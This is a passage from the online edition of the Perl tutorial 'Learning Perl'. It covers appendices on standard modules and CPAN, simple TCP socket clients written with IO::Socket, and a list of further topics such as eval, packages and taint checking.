    } elsif (/lynx/i) {
            lynx($_);
    } else {
            default($_);
    }
}

print end_html();
sub msie{
    print p("Internet Explorer: @_.  Good Choice\n");
}

sub netscape {
    print p("Netscape: @_.  Good Choice\n");
}

sub lynx {
    print p("Lynx: @_.  Shudder...");
}

sub default {
    print p("What the heck is a @_?");
}

    The key here is checking the environment for the HTTP_USER_AGENT variable. Although this isn't implemented by every server, many of them do set it. This is a good way to generate content geared to the features of a particular browser. Note that we're just doing some basic string matching (case insensitive) to see what they're using (nothing too fancy).

Previous: A.17 Chapter 18, Converting Other Languages to Perl | Learning Perl | Next: B. Libraries and Modules
A.17 Chapter 18, Converting Other Languages to Perl | Book Index | B. Libraries and Modules


[Appendix B] Libraries and Modules

Learning PerlSearch this book
Previous: A.18 Chapter 19, CGI Programming Appendix B Next: B.2 Standard Modules

B. Libraries and Modules

Contents:
Library Terminology
Standard Modules
CPAN: Beyond the Standard Library

For simple programs you can easily write your own Perl routines and subroutines. As the tasks to which you apply Perl become more difficult, however, sometimes you'll find yourself thinking, "someone must have done this already." You are probably more right than you imagine.

For most common tasks, other people have already written the code. Moreover, they've placed it either in the standard Perl distribution or in the freely downloadable CPAN archive. To use this existing code (and save yourself some time), you'll have to understand how to make use of a Perl library. This was briefly discussed in Chapter 19, CGI Programming.

One advantage in using modules from the standard distribution is that you can then share your program with others without their having to take any special steps. This is because the same standard library is available to Perl programs almost everywhere.

You'll save yourself time in the long run if you get to know the standard library. There's no point in reinventing the wheel. You should be aware, however, that the library contains a wide range of material. While some modules may be extremely helpful, others may be completely irrelevant to your needs. For example, some are useful only if you are creating extensions to Perl.

To read the documentation for a standard module, use the man or perldoc program (if you have them), or perhaps your web browser on HTML versions of the documentation. If all else fails, just look in the module itself: the documentation is contained within each module in pod format. To locate the module on your system, try executing this Perl program from the command line:

# for (most) Unix-like shells
perl -e 'print "@INC\n"'
# for (some) other command interpreters
perl -e "print join(' ',@INC),\n"

You should find the module in one of the directories listed by this command.

B.1 Library Terminology

Before we list all the standard modules, let's untangle some terminology:

Package

A package is a simple namespace management device, allowing two different parts of a Perl program to have a (different) variable named $fred. These namespaces are managed with the package declaration, described in Chapter 5 of Programming Perl.

Library

A library is a set of subroutines for a particular purpose. Often the library declares itself a separate package so that related variables and subroutines can be kept together, and so that they won't interfere with other variables in your program. Generally, an old-style library was placed in a separate file, often with a name ending in ".pl". The library routines were then pulled into the main program via the require function. More recently this older approach has been replaced by the use of modules (see next paragraph), and the term library often refers to the entire system of modules that come with Perl.

Module

A module is a library that conforms to specific conventions, allowing the library routines to be brought into your program with the use directive at compile-time. Module filenames end in ".pm", because the use directive insists on that. Chapter 5 of Programming Perl describes Perl modules in greater detail.

Pragma

A pragma is a module that affects the compilation phase of your program as well as the execution phase. Think of it as containing hints to the compiler. Unlike other modules, pragmas often (but not always) limit the scope of their effects to the innermost enclosing block of your program (that is, the block enclosing the pragma invocation). The names of pragmas are by convention all lowercase.

Previous: A.18 Chapter 19, CGI Programming | Learning Perl | Next: B.2 Standard Modules
A.18 Chapter 19, CGI Programming | Book Index | B.2 Standard Modules


[Appendix B] B.2 Standard Modules

Learning PerlSearch this book

B.2 Standard Modules

The following is a list of all Perl pragmas and modules included with the current Perl distribution (Version 5.004). The classification of the modules is admittedly arbitrary.

Table B.1: General Programming: Miscellaneous
Module | Function
autouse | Defers loading of a module until it's used
constant | Creates compile-time constants
Benchmark | Checks and compares running times of code
Config | Accesses Perl configuration information
Env | Imports environment variables
English | Uses English or awk names for punctuation variables
FindBin | Finds path of currently executing program
Getopt::Long | Extended processing of command-line options
Getopt::Std | Processes single-character switches with switch clustering
lib | Manipulates @INC at compile-time
Shell | Runs shell commands transparently within Perl
strict | Restricts unsafe constructs
Symbol | Generates anonymous globs; qualifies variable names
subs | Predeclares subroutine names
vars | Predeclares global variable names

Table B.2: General Programming: Error Handling and Logging
Module | Function
Carp | Generates error messages
diagnostics | Forces verbose warning diagnostics
sigtrap | Enables stack backtrace on unexpected signals
Sys::Syslog | Perl interface to UNIX syslog (3) calls

Table B.3: General Programming: File Access and Handling
Module | Function
Cwd | Gets pathname of current working directory
DirHandle | Supplies object methods for directory handles
Fcntl | Loads the C Fcntl.h defines
File::Basename | Parses file specifications
File::CheckTree | Runs many tests on a collection of files
File::Copy | Copies files or filehandles
File::Find | Traverses a file tree
File::Path | Creates or removes a series of directories
FileCache | Keeps more files open than the system permits
FileHandle | Supplies object methods for filehandles
SelectSaver | Saves and restores selected filehandle

Table B.4: General Programming: Classes for I/O Operations
Module | Function
IO | Top-level interface to IO::* classes
IO::File | Object methods for filehandles
IO::Handle | Object methods for I/O handles
IO::Pipe | Object methods for pipes
IO::Seekable | Seek-based methods for I/O objects
IO::Select | Object interface to select
IO::Socket | Object interface to sockets

Table B.5: General Programming: Text Processing and Screen Interfaces
Module | Function
locale | Uses POSIX locales for built-in operations
Pod::HTML | Converts pod data to HTML
Pod::Text | Converts pod data to formatted ASCII text
Search::Dict | Searches for key in dictionary file
Term::Cap | Termcap interface
Term::Complete | Word completion module
Text::Abbrev | Creates an abbreviation table from a list
Text::ParseWords | Parses text into an array of tokens
Text::Soundex | Implements the Soundex Algorithm described by Knuth
Text::Tabs | Expands and unexpands tabs
Text::Wrap | Wraps text into a paragraph

Table B.6: Database Interfaces
Module | Function
AnyDBM_File | Provides framework for multiple DBMs
DB_File | Access to Berkeley DB
GDBM_File | Tied access to GDBM library
NDBM_File | Tied access to NDBM files
ODBM_File | Tied access to ODBM files
SDBM_File | Tied access to SDBM files

Table B.7: Mathematics
Module | Function
Integer | Does arithmetic in integer instead of double
Math::BigFloat | Arbitrary-length, floating-point math package
Math::BigInt | Arbitrary-length integer math package
Math::Complex | Complex numbers package

Table B.8: The World Wide Web
Module | Function
CGI | Web server interface (Common Gateway Interface)
CGI::Apache | Support for Apache's Perl module
CGI::Carp | Log server errors with helpful context
CGI::Fast | Support for FastCGI (persistent server process)
CGI::Push | Support for server push
CGI::Switch | Simple interface for multiple server types

Table B.9: Networking and Interprocess Communication
Module | Function
IPC::Open2 | Opens a process for both reading and writing
IPC::Open3 | Opens a process for reading, writing, and error handling
Net::Ping | Checks whether a host is online
Socket | Loads the C socket.h defines and structure manipulators
Sys::Hostname | Tries every conceivable way to get hostname

Table B.10: Automated Access to the Comprehensive Perl Archive Network
Module | Function
CPAN | Simple interface to CPAN
CPAN::FirstTime | Utility for creating CPAN configuration file
CPAN::Nox | Runs CPAN while avoiding compiled extensions

Table B.11: Time and Locale
Module | Function
Time::Local | Efficiently computes time from local and GMT time
I18N::Collate | Compares 8-bit scalar data according to the current locale

Table B.12: Object Interfaces to Built-in Functions
Module | Function
Class::Struct | Declares struct-like datatypes as Perl classes
File::stat | Object interface to stat function
Net::hostent | Object interface to gethost* functions
Net::netent | Object interface to getnet* functions
Net::protoent | Object interface to getproto* functions
Net::servent | Object interface to getserv* functions
Time::gmtime | Object interface to gmtime function
Time::localtime | Object interface to localtime function
Time::tm | Internal object for Time::{gm,local}time
User::grent | Object interface to getgr* functions
User::pwent | Object interface to getpw* functions

Table B.13: For Developers: Autoloading and Dynamic Loading
Module | Function
AutoLoader | Loads functions only on demand
AutoSplit | Splits a package for autoloading
Devel::SelfStubber | Generates stubs for a SelfLoading module
DynaLoader | Automatic dynamic loading of Perl modules
SelfLoader | Loads functions only on demand

Table B.14: For Developers: Language Extensions/Platform Development Support
Module | Function
blib | Finds blib directory structure during module builds
ExtUtils::Embed | Utilities for embedding Perl in C programs
ExtUtils::Install | Installs files from here to there
ExtUtils::Liblist | Determines libraries to use and how to use them
ExtUtils::MakeMaker | Creates a Makefile for a Perl extension
ExtUtils::Manifest | Utilities to write and check a MANIFEST file
ExtUtils::Miniperl | Writes the C code for perlmain.c
ExtUtils::Mkbootstrap | Makes a bootstrap file for use by DynaLoader
ExtUtils::Mksymlists | Writes linker option files for dynamic extension
ExtUtils::MM_OS2 | Methods to override UNIX behavior in ExtUtils::MakeMaker
ExtUtils::MM_Unix | Methods used by ExtUtils::MakeMaker
ExtUtils::MM_VMS | Methods to override UNIX behavior in ExtUtils::MakeMaker
ExtUtils::testlib | Fixes @INC to use just-built extension
Opcode | Disables opcodes when compiling Perl code
ops | Pragma for use with Opcode module
POSIX | Interface to IEEE Std 1003.1
Safe | Creates safe namespaces for evaluating Perl code
Test::Harness | Runs Perl standard test scripts with statistics
vmsish | Enables VMS-specific features

Table B.15: For Developers: Object-Oriented Programming Support
Module | Function
Exporter | Default import method for modules
overload | Overloads Perl's mathematical operations
Tie::RefHash | Base class for tied hashes with references as keys
Tie::Hash | Base class definitions for tied hashes
Tie::Scalar | Base class definitions for tied scalars
Tie::StdHash | Base class definitions for tied hashes
Tie::StdScalar | Base class definitions for tied scalars
Tie::SubstrHash | Fixed-table-size, fixed-key-length hashing
UNIVERSAL | Base class for all classes

Previous: B.1 Library Terminology | Learning Perl | Next: B.3 CPAN: Beyond the Standard Library
B.1 Library Terminology | Book Index | B.3 CPAN: Beyond the Standard Library


[Appendix B] B.3 CPAN: Beyond the Standard Library

Learning PerlSearch this book

B.3 CPAN: Beyond the Standard Library

If you don't find an entry in the standard library that fits your needs, it's still quite possible that someone has written code that will be useful to you. There are many superb library modules that are not included in the standard distribution, for various practical, political, and pathetic reasons. To find out what is available, you can look at the Comprehensive Perl Archive Network (CPAN). See the discussion of CPAN in the Preface.

Here are the major categories of modules available from CPAN:

  • Module listing format

  • Perl core modules, Perl language extensions and documentation tools

  • Development support

  • Operating system interfaces

  • Networking, device control (modems), and interprocess communication

  • Data types and data type utilities

  • Database interfaces

  • User interfaces

  • Interfaces to or emulations of other programming languages

  • Filenames, filesystems, and file locking (see also filehandles)

  • String processing, language text processing, parsing, and searching

  • Option, argument, parameter, and configuration file processing

  • Internationalization and locale

  • Authentication, security, and encryption

  • World Wide Web, HTML, HTTP, CGI, MIME

  • Server and daemon utilities

  • Archiving, compression, and conversion

  • Images, pixmap and bitmap manipulation, drawing, and graphing

  • Mail and Usenet news

  • Control flow utilities (callbacks and exceptions)

  • Filehandle, directory handle, and input/output stream utilities

  • Microsoft Windows modules

  • Miscellaneous modules

Previous: B.2 Standard Modules | Learning Perl | Next: C. Networking Clients
B.2 Standard Modules | Book Index | C. Networking Clients


[Appendix C] Networking Clients

Learning PerlSearch this book
Previous: B.3 CPAN: Beyond the Standard Library Appendix C Next: C.2 A Webget Client

C. Networking Clients

Contents:
A Simple Client
A Webget Client
An Interactive Client
Further Reading on Networking

Few computers (or computer users, for that matter) are content to remain isolated from the rest of the world. Networking, once mostly limited to government research labs and computer science departments at major universities, is now available to virtually everyone, even home computer users with a modem and dial-up SLIP or PPP service. More than ever, networking is now used daily by organizations and individuals from every walk of life. They use networking to exchange email, schedule meetings, manage distributed databases, access company information, grab weather reports, pull down today's news, chat with someone in a different hemisphere, or advertise their company on the Web.

These diverse applications all share one thing in common: they use TCP networking, the fundamental protocol that links the Net together.[1] And we don't just mean the Internet, either. Firewalls aside, the underlying technology is the same whether you're connecting far across the Internet, between your corporate offices, or from your kitchen down to your basement. This means you only have to learn one technology for all sorts of application areas.

[1] Actually it's IP (Internet Protocol) that ties the Internet together, but TCP/IP is just a layer on top of IP.

How can you use networking to let an application on one machine talk to a different application, possibly on a totally different machine? With Perl, it's pretty easy, but first you should probably know a little bit about how the TCP networking model works.

Even if you've never touched a computer network before in your whole life, you already know another connection-based system: the telephone system. Don't let fancy words like "client-server programming" put you off. When you see the word "client," think "caller"; when you see the word "server," think "responder." If you ring someone up on the telephone, you are the client. Whoever picks up the phone at the other end is the server.

Programmers with a background in C programming may be familiar with sockets. A socket is the interface to the network in the same sense that a filehandle is the interface to files in the filesystem. In fact, for the simple stream-based clients we're going to demonstrate below, you can use a socket handle just as you would a filehandle.[2]

[2] Well, almost; you can't seek on a socket.

You can read from the socket, write to it, or both. That's because a socket is a special kind of bidirectional filehandle representing a network connection. Unlike normal files created via open, sockets are created using the low-level socket function.

Let's squeeze a little more mileage out of our telephone model. When you call into a big company's telephone switchboard, you can ask for a particular department by one name or another (such as "Personnel" or "Human Resources"), or by an exact number (like "extension 213"). Think of each service running on a computer as a department in a large corporation. Sometimes a particular service has several different names, such as both "http" and "www," but only one number, such as 80. That number associated with a particular service name is its port. The Perl functions getservbyname and getservbyport can be used to look up a service name given its port number, or vice versa. Here are some standard TCP services and their port numbers:

Service | Port | Purpose
echo | 7 | Accepts all input and echoes it back
discard | 9 | Accepts anything but does nothing with it
daytime | 13 | Return the current date and time in local format
ftp | 21 | Server for file transfer requests
telnet | 23 | Server for interactive telnet sessions
smtp | 25 | Simple mail transfer protocol; the mailer daemon
time | 37 | Return number of seconds since 1900 (in binary)
http | 80 | The World Wide Web server
nntp | 119 | The news server

Although sockets were originally developed for Berkeley UNIX, the overwhelming popularity of the Internet has induced virtually all operating-systems vendors to include socket support for client-server programming. For this book, directly using the socket function is a bit low-level. We recommend that you use the more user-friendly IO::Socket module,[3] which we'll use in all our sample code. This means we'll also be employing some of Perl's object-oriented constructs. For a brief introduction to these constructs, see Chapter 19, CGI Programming. The perltoot (1) manpage and Chapter 5 of Programming Perl offer a more complete introduction to object-oriented programming in Perl.

[3] IO::Socket is included as part of the standard Perl distribution as of the 5.004 release. If you're running an earlier version of Perl, just fetch IO::Socket from CPAN, where you'll find modules providing easy interfaces to the following services: DNS,ftp, Ident (RFC 931), NIS and NISPlus, NNTP, ping, POP3, SMTP, SNMP, SSLeay, telnet, and time - just to name a few.

We don't have the space in this book to provide a full TCP/IP tutorial, but we can at least present a few simple clients. For servers, which are a bit more complicated, see Chapter 6 of Programming Perl, or the perlipc (1) manpage.

C.1 A Simple Client

For our simplest client, we'll choose a rather boring service, called "daytime." The daytime server sends a connecting client one line of data containing the time of day on that remote server, then closes the connection.

Here's the client:

#!/usr/bin/perl -w
use IO::Socket;
$remote = IO::Socket::INET->new(
    Proto => "tcp",
    PeerAddr => "localhost",
    PeerPort => "daytime(13)",
    )
    or die "cannot connect to daytime port at localhost";
while ( <$remote> ) { print }

When you run this program, you should get something back that looks like this:

Thu May 8 11:57:15 1997

Here are what those parameters to the new constructor mean:

Proto

The protocol to use. In this case, the socket handle returned will be connected to a TCP socket, because we want a stream-oriented connection, that is, one that acts pretty much like a plain old file. Not all sockets are of this type. For example, the UDP protocol can be used to make a datagram socket, used for message-passing.

PeerAddr

The name or Internet address of the remote host the server is running on. We could have specified a longer name like www.perl.com, or an address like 204.148.40.9. For demonstration purposes, we've used the special hostname localhost, which should always mean the current machine you're running on. The corresponding Internet address for localhost is 127.0.0.1, if you'd rather use that.

PeerPort

This is the service name or port number we'd like to connect to. We could have gotten away with using just daytime on systems with a well-configured system services file,[4] but just in case, we've specified the port number (13) in parentheses. Using just the number would also have worked, but numbers as constants make careful programmers nervous.

[4] The system services file is in /etc/services under UNIX.

Notice how the return value from the new constructor is used as a filehandle in the while loop? That's what's called an indirect filehandle, a scalar variable containing a filehandle. You can use it the same way you would a normal filehandle. For example, you can read one line from it this way:

$line = <$handle>;

All remaining lines from it this way:

@lines = <$handle>;

And send a line of data to it this way:

print $handle "some data\n";

Previous: B.3 CPAN: Beyond the Standard Library | Learning Perl | Next: C.2 A Webget Client
B.3 CPAN: Beyond the Standard Library | Book Index | C.2 A Webget Client


[Appendix C] C.2 A Webget Client

Learning PerlSearch this book

C.2 A Webget Client

Here's a simple client that contacts a remote server and fetches a list of documents from it. This is a more interesting client than the previous one because it sends a line of data to the server before fetching that server's response.

#!/usr/bin/perl -w
use IO::Socket;
unless (@ARGV > 1) { die "usage: $0 host document ..." }
$host = shift(@ARGV);
foreach $document ( @ARGV ) {
    $remote = IO::Socket::INET->new( Proto => "tcp",
    PeerAddr => $host,
    PeerPort => "http(80)",
    );
    unless ($remote) { die "cannot connect to http daemon on $host" }
    $remote->autoflush(1);
    print $remote "GET $document HTTP/1.0\n\n";
    while ( <$remote> ) { print }
    -close $remote;
}

The web server handling the http service is assumed to be at its standard port, number 80. If the server you're trying to connect to is at a different port (say, 8080), you should give PeerPort => 8080 as the third argument to new( ). The autoflush method is used on the socket because otherwise the system would buffer up the output we sent it. (If you're on a Mac, you'll need to change every \n in your code that sends data over the network to be \015\012 instead.)

Connecting to the server is only the first part of the process: once you have the connection, you have to use the server's language. Each server on the network has its own little command language that it expects as input. The string that we send to the server starting with "GET" is in HTTP syntax. In this case, we simply request each specified document. Yes, we really are making a new connection for each document, even though it's the same host. That's the way it works with HTTP. (Recent versions of web browsers may request that the remote server leave the connection open a little while, but the server doesn't have to honor such a request.)

We'll call our program webget. Here's how it might execute:

shell_prompt$ webget www.perl.com /guanaco.html
HTTP/1.1 404 File Not Found
Date: Thu, 08 May 1997 18:02:32 GMT
Server: Apache/1.2b6
Connection: close
Content-type: text/html
<HEAD><TITLE>404 File Not Found</TITLE></HEAD>
<BODY><H1>File Not Found</H1>
The requested URL /guanaco.html was not found on this server.<P>
</BODY>

OK, so that's not very interesting, because it didn't find that particular document. But a long response wouldn't have fit on this page.

For a more fully-featured version of this program, you should look for the lwp-request program included with the LWP modules from CPAN. (LWP is discussed a bit at the end of Chapter 19.)

Previous: C.1 A Simple Client | Learning Perl | Next: C.3 An Interactive Client
C.1 A Simple Client | Book Index | C.3 An Interactive Client


[Appendix C] C.3 An Interactive Client

Learning PerlSearch this book

C.3 An Interactive Client

It's pretty easy to make a client that just reads everything from a server, or that sends one command, gets one answer, and quits. But what about setting up something fully interactive, like telnet ? That way you can type a line, get the answer, type a line, get the answer, and so on. (OK, usually telnet operates in character mode, not line mode, but you get the idea.)

This client is more complicated than the two we've done so far, but if you're on a system that supports the powerful fork call, the solution isn't that rough. Once you've made the connection to whatever service you'd like to chat with, call fork to clone your process. Each of these two identical processes has a very simple job to do: the parent copies everything from the socket to standard output, while the child simultaneously copies everything from standard input to the socket. To accomplish the same thing using just one process would be much harder, because it's easier to code two processes to do one thing than it is to code one process to do two things.[5]

[5] This keep-it-simple principle is one of the cornerstones of the UNIX philosophy, and good software engineering as well, which is probably why it's spread to other systems as well.

Here's the code:

#!/usr/bin/perl -w
use strict;
use IO::Socket;
my ($host, $port, $kidpid, $handle, $line);
unless (@ARGV == 2) { die "usage: $0 host port" }
($host, $port) = @ARGV;
# create a tcp connection to the specified host and port
$handle = IO::Socket::INET->new(Proto => "tcp",
    PeerAddr => $host,
    PeerPort => $port)
    or die "can't connect to port $port on $host: $!";
$handle->autoflush(1); # so output gets there right away
print STDERR "[Connected to $host:$port]\n";
# split the program into two processes, identical twins
die "can't fork: $!" unless defined($kidpid = fork());
# the if{} block runs only in the parent process
if ($kidpid) {
    # copy the socket to standard output
    while (defined ($line = <$handle>)) {
    print STDOUT $line;
    }
    kill("TERM", $kidpid); # send SIGTERM to child
}
# the else{} block runs only in the child process
else {
    # copy standard input to the socket
    while (defined ($line = <STDIN>)) {
    print $handle $line;
    }
}

The kill function in the parent's if block is there to send a signal to our child process (current running in the else block) as soon as the remote server has closed its end of the connection.

Previous: C.2 A Webget Client | Learning Perl | Next: C.4 Further Reading on Networking
C.2 A Webget Client | Book Index | C.4 Further Reading on Networking


[Appendix C] C.4 Further Reading on Networking

Learning PerlSearch this book

C.4 Further Reading on Networking

There's a lot more to networking than this, but this should get you started. Chapter 6 of Programming Perl and the perlipc (1) manpage describe interprocess communication in general; the IO::Socket (3) manpage describes the object library; and the Socket (3) manpage describes the low-level interface to sockets. For the more intrepid programmers, the book Unix Network Programming by Richard Stevens (published by Addison-Wesley) covers the entire topic quite well. Be warned, however, that most texts on socket programming are written from the perspective of a C programmer.

Previous: C.3 An Interactive Client | Learning Perl | Next: D. Topics We Didn't Mention
C.3 An Interactive Client | Book Index | D. Topics We Didn't Mention


[Appendix D] Topics We Didn't Mention

Learning PerlSearch this book
Previous: C.4 Further Reading on Networking Appendix D Next: D.2 The Debugger

D. Topics We Didn't Mention

Contents:
Full Interprocess Communications
The Debugger
The Command Line
Other Operators
Many, Many More Functions
Many, Many Predefined Variables
Symbol Table Manipulation with *FRED
Additional Regular-Expression Features
Packages
Embeddible, Extensible
And Other Stuff

Yes, it's amazing. A book this long, and there are still some things that it didn't cover. The footnotes contain additional helpful information.

The purpose of this section is not to teach you about the things listed here, but merely to provide a list. You'll need to go to Programming Perl, the perl (1) or perlfaq (1) manpages, the HTML documents in CPAN's doc directory, or the Usenet newsgroups to get further information.

D.1 Full Interprocess Communications

Yes, Perl can do networking. Beyond the TCP/IP stream sockets discussed in Appendix C, Networking Clients, if your system is up to it, Perl also supports UNIX-domain sockets, UDP-based message passing, shared memory, semaphores, named and anonymous pipes, and signal handling. See Chapter 6 of Programming Perl or the perlipc (1) manpage for standard modules, and the networking section of the CPAN modules directory for third-party modules.

Yes, Perl can do TCP/IP socket networking, UNIX-domain networking, and shared memory and semaphores on systems that support it. See the perlipc (1) manpage for further information.

Previous: C.4 Further Reading on Networking | Learning Perl | Next: D.2 The Debugger
C.4 Further Reading on Networking | Book Index | D.2 The Debugger


[Appendix D] D.2 The Debugger

Learning PerlSearch this book

D.2 The Debugger

Perl has a wonderful source-level debugger, which perldebug (1) will tell you all about.

Previous: D.1 Full Interprocess Communications | Learning Perl | Next: D.3 The Command Line
D.1 Full Interprocess Communications | Book Index | D.3 The Command Line


[Appendix D] D.3 The Command Line

Learning PerlSearch this book

D.3 The Command Line

The Perl interpreter has a plethora of command-line switches. Check out perlrun (1) for information.

Previous: D.2 The Debugger | Learning Perl | Next: D.4 Other Operators
D.2 The Debugger | Book Index | D.4 Other Operators


[Appendix D] D.4 Other Operators

Learning PerlSearch this book

D.4 Other Operators

The comma operator, for one. And there are the bit manipulation operators &, |, ^, and ~, the ternary ? : operator, and the .. and ... flip-flop operators, just to name a few.

And there are some variations on operators, like using the g modifier on match. For this and more, see perlop (1).

Previous: D.3 The Command Line | Learning Perl | Next: D.5 Many, Many More Functions
D.3 The Command Line | Book Index | D.5 Many, Many More Functions


[Appendix D] D.5 Many, Many More Functions

Learning PerlSearch this book

D.5 Many, Many More Functions

Yes, Perl has a lot of functions. I'm not going to list them here, because the fastest way to find out about them is to read through the function section of Programming Perl or the perlfunc (1) manpage and look at anything you don't recognize that sounds interesting. Here are a few of the more interesting ones.

D.5.1 grep and map

The grep function selects elements from its argument list, based upon the result of an expression that's repeatedly evaluated for its truth value, with the $_ variable successively set to each element in the list:

@bigpowers = grep $_ > 6, 1, 2, 4, 8, 16; # gets (8, 16)
@b_names = grep /^b/, qw(fred barney betty wilma);
@textfiles = grep -T, <*>;

The map function is similar, but instead of selecting or rejecting items, it merely collects the results of the expression (evaluated in a list context):

@more = map $_ + 3, 3, 5, 7;   # gets 6, 8, 10
@squares = map $_ * $_, 1..10; # first 10 squares
@that = map "$_\n", @this;     # like "unchomp"
@triangle = map 1..$_, 1..5;   # 1,1,2,1,2,3,1,2,3,4,1,2,3,4,5
%sizes = map { $_, -s } <*>;   # hash of files and sizes

D.5.2 The eval Operator (and s///e)

Yes, you can construct a piece of code at run-time and then eval it, just as you can do with the shell. It's actually rather useful, because you can get some compiletime optimizations (like a compiled regular expression) at run-time. You can also use it to trap otherwise fatal errors in a section of code: a fatal error inside the eval merely exits the eval and gives you an error status.

For example, here's a program that reads a line of Perl code from the user and then executes it as if it were part of the Perl program:

print "code line: ";
chop($code = <STDIN>);
eval $code; die "eval: $@" if $@;

You can put Perl code inside the replacement string of a substitute operator with the e flag. This is handy if you want to construct something complicated for the replacement string, such as calling a subroutine that returns the results of a database lookup. Here's a loop that increments the value of the first column of a series of lines:

while (<>) {
    s/^(\S+)/$1+1/e; # $1+1 is Perl code, not a string
    print;
}

Another use of eval is as an exception-handling mechanism:

eval {
    some_hairy_routine_that_might_die(@args);
};
if ($@) {
    print "oops... some_hairy died with $@";
}

Here, $@ will be empty as long as the eval block worked OK but will have the text of the die message if not.

Of these three constructs (eval "string", eval { BLOCK }, and s///e) only the first is really what you would think of as an eval from a shell-programming language. The other two are compiled at compile-time, and incur little additional performance penalty.

Previous: D.4 Other Operators | Learning Perl | Next: D.6 Many, Many Predefined Variables
D.4 Other Operators | Book Index | D.6 Many, Many Predefined Variables


[Appendix D] D.6 Many, Many Predefined Variables

Learning PerlSearch this book

D.6 Many, Many Predefined Variables

You've seen a few predefined variables, like $_. Well, there are a lot more. Pretty much every punctuation character has been pressed into service. The perlvar (1) manpage will be of help here. Also see the English module in perlmod (1).

Previous: D.5 Many, Many More Functions | Learning Perl | Next: D.7 Symbol Table Manipulation with *FRED
D.5 Many, Many More Functions | Book Index | D.7 Symbol Table Manipulation with *FRED


[Appendix D] D.7 Symbol Table Manipulation with *FRED

Learning PerlSearch this book

D.7 Symbol Table Manipulation with *FRED

You can make b an alias for a with *b = *a. This means that $a and $b refer to the same variable, as do @a and @b, and even filehandles and formats a and b. You can also localize *b inside a block with local(*b), and that lets you have local filehandles and formats and other things. Pretty fancy stuff, but useful when you need it.

Previous: D.6 Many, Many Predefined Variables | Learning Perl | Next: D.8 Additional Regular-Expression Features
D.6 Many, Many Predefined Variables | Book Index | D.8 Additional Regular-Expression Features


[Appendix D] D.8 Additional Regular-Expression Features

Learning PerlSearch this book

D.8 Additional Regular-Expression Features

Regular expressions can contain "extended" syntax (where whitespace is optional, so a regular expression can be split over multiple lines, and can contain regular Perl comments), and can have positive and negative "lookahead." The syntax is a bit ugly, so rather than scare you off here, go look in Programming Perl, or see the perlre (1) manpage. Friedl's book, Mastering Regular Expressions (published by O'Reilly & Associates) explains all of this and much more.

Previous: D.7 Symbol Table Manipulation with *FRED | Learning Perl | Next: D.9 Packages
D.7 Symbol Table Manipulation with *FRED | Book Index | D.9 Packages


[Appendix D] D.9 Packages

Learning PerlSearch this book

D.9 Packages

When multiple people work on a project, or if you're slightly schizophrenic, you can carve up the variable namespace using packages. A package is just a hidden prefix put in front of most variables (except variables created with the my operator). By changing the prefix, you get different variables. Here's a brief example:

$a = 123;            # this is really $main::a
$main::a++;          # same variable, now 124
package fred;        # now the prefix is "fred"
$a = 456;            # this is $fred::a
print $a - $main::a; # prints 456-124
package main;        # back to original default
print $a + $fred::a; # prints 124+456

So, any name with an explicit package name is used as-is, but all other names get packaged into the current default package. Packages are local to the current file or block, and you always start out in package main at the top of a file. For details, the perlsub (1) manpage will help here.

Previous: D.8 Additional Regular-Expression Features | Learning Perl | Next: D.10 Embeddible, Extensible
D.8 Additional Regular-Expression Features | Book Index | D.10 Embeddible, Extensible


[Appendix D] D.10 Embeddible, Extensible

Learning PerlSearch this book

D.10 Embeddible, Extensible

The "guts" of Perl are defined well enough that it becomes a relatively straightforward task to embed the Perl compiler/interpreter inside another application (such as has already been done with the Apache web server and the vi text editor), or to extend Perl by connecting it with arbitrary code written in C (or having a C-like interface). In fact, about a third of the online documentation for Perl is specifically devoted to embedding and extending Perl. The perlembed (1), perlapio (1), perlxs (1), perlxstut (1), perlguts (1), and perlcall (1) manpages cover these topics in depth.

And since Perl is freely reusable, you can write your proprietary spreadsheet application, using an embedded Perl to evaluate the expressions in your spreadsheet cells, and not have to pay one cent in royalties for all that power. Joy.

D.10.1 Security Matters

Perl was designed with security in mind. See Chapter 6 of Programming Perl or the perlsec (1) manpage about taint checking. This is the kind of security where you trust the writer of the program, but not the person running it, such as is often the case with setuid programs under UNIX, or server-launched programs anywhere. The Safe module, covered in the Safe(3) manpage and Chapter 7 of Programming Perl, provides something else entirely: the kind of security necessary when executing (as with eval) unchecked code.

D.10.2 Switch or Case Statements

No, Perl doesn't really have these, but it's easy to make them using more basic constructs. See Chapter 2 of Programming Perl or the perlsyn (1) manpage.

D.10.3 Direct I/O: sysopen, sysread, syswrite, sysseek

Sometimes Perl's high-level I/O is a bit too high-level for what you need to do. Chapter 3 of Programming Perl and the perlfunc (1) manpage cover direct access to the raw system calls for I/O.

D.10.4 The Perl Compiler

Although we speak of Perl as compiling your code before executing it, this compiled form is not native object code. Malcolm Beatie's Perl compiler project can produce standalone byte code or compilable C code out of your Perl script. The 5.005 release of Perl is expected to have native code generation included as part of the standard release. See the material in the perlfaq3 (1) manpage about this.

D.10.5 Database Support

Yes, Perl can interface directly with your commercial database servers, including Oracle, Sybase, Informix, and ODBC, just to name a few. See the database section in the CPAN modules directory for the relevant extension modules.

D.10.6 Complex Data Structures

Using references, you can build data structures of arbitrary complexity. These are discussed in Chapter 4 of Programming Perl, and in the perllol (1), perldsc (1), and perlref (1) manpages. If you prefer an object-oriented data structure, see Chapter 5 of Programming Perl, or the perltoot (1) and perlobj (1) manpages.

D.10.7 Function Pointers

Perl can store and pass pointers to functions via the \&funcname notation, and call them indirectly via &$funcptr($args). You can even write functions that create and return new anonymous functions, just as you could in languages like Lisp or Scheme. Such anonymous functions are often called closures. See Chapter 4 of Programming Perl, and the perlsub (1) and perlfaq7 (1) manpages for details.

Previous: D.9 Packages | Learning Perl | Next: D.11 And Other Stuff
D.9 Packages | Book Index | D.11 And Other Stuff


[Appendix D] D.11 And Other Stuff

Learning PerlSearch this book

D.11 And Other Stuff

Perl just keeps getting more powerful and more useful, and it's quite an effort to keep the documentation up to date. (Who knows? By the time this book hits the shelves, there could be a Visual Perl.) But in any case, thanks, Larry!

Previous: D.10 Embeddible, Extensible | Learning Perl
D.10 Embeddible, Extensible | Book Index


[Chapter 1] Introduction

Learning PerlSearch this book
Previous: We'd Like to Hear from You Chapter 1 Next: 1.2 Purpose of Perl

1. Introduction

Contents:
History of Perl
Purpose of Perl
Availability
Basic Concepts
A Stroll Through Perl
Exercise

1.1 History of Perl

